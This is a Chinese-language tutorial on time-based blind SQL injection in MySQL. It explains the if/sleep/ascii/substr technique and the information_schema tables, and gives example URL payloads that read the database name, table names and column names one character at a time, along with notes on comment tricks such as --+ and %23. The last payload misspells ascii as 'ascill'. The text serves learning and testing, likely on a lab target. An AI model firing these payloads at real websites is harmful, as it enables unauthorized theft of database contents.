概述
在我们注入了SQL代码之后,存在以下两种情况:
1、如果注入的SQL代码不影响后台[数据库]的正常功能执行,那么Web应用的页面显示正确(原始页面)。
2、如果注入的SQL代码影响后台数据库的正常功能(产生了SQL注入),但是此时Web应用的页面依旧显示正常(原因是Web应用程序采取了“重定向”或“屏蔽”措施)。
这时候,我们就会产生一个疑问:我们注入的的SQL代码到底被后台数据库执行了没有?即Web应用程序是否存在SQL注入?
面对这种情况,之前讲的基于布尔的SQL盲注就很难发挥作用了(因为基于布尔的SQL盲注的前提是Web程序返回的页面存在true和false两种不同的页面)。这时,我们一般采用基于web应用响应时间上的差异来判断是否存在SQL注入,即基于时间型SQL盲注。
需要用到的知识点:
if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。
length(str):返回str字符串的长度。
ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。如select ASCII('a')返回97。
sleep(5):数据库休眠5秒
information_schema数据表:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
关键代码:
payload举例
1、判断数据库长度
id=1' and (length (database()))>3 --+
实现结果,select * from users where id='1' and (length (database()))>3 --+' limit 0,1;
最后的--+的作用:
## 使用`#`号
* 有时发现执行的sql语句中没有`#`号
* 原因是url中`#`号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括`#`
* 将#号改成url的编码%23就可以了
## 使用`--`和使用`--+`
* 这里发现+号在语句中变成了空格。
用来和后面的单引号分隔开,将后面的语句注释。
* 了解原理后便知道了`--`无法使用的原因,是因为`--`与后面的单引号连接在一起,无法形成有效的mysql语句。
* 在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合
* 所以在注入时我们除了使用`--+`外,也可以使用`--'`来完成sql注入语句
2、枚举出当前数据库名
id=1' and if(ascii(substr(database(),1,1))>116,1,sleep(5)) --+
通过ascii码枚举来猜数据库名
3、枚举当前数据库的表名
id=2' and if(ascii(substr((select table_name from information_schema.tables where table_schema = "security" limit 0,1),1,1))>102,1,sleep(5))
这里就是利用基于时间的盲注,通过mysql的内置信息数据库来枚举当前使用的数据库的表名
4、枚举当前数据表的字段名
id=1' and if(ascill(substr((select column_name from information_schema.columns where table_name = "emails" limit 0,1),1,1))>106,1,sleep(5)) --+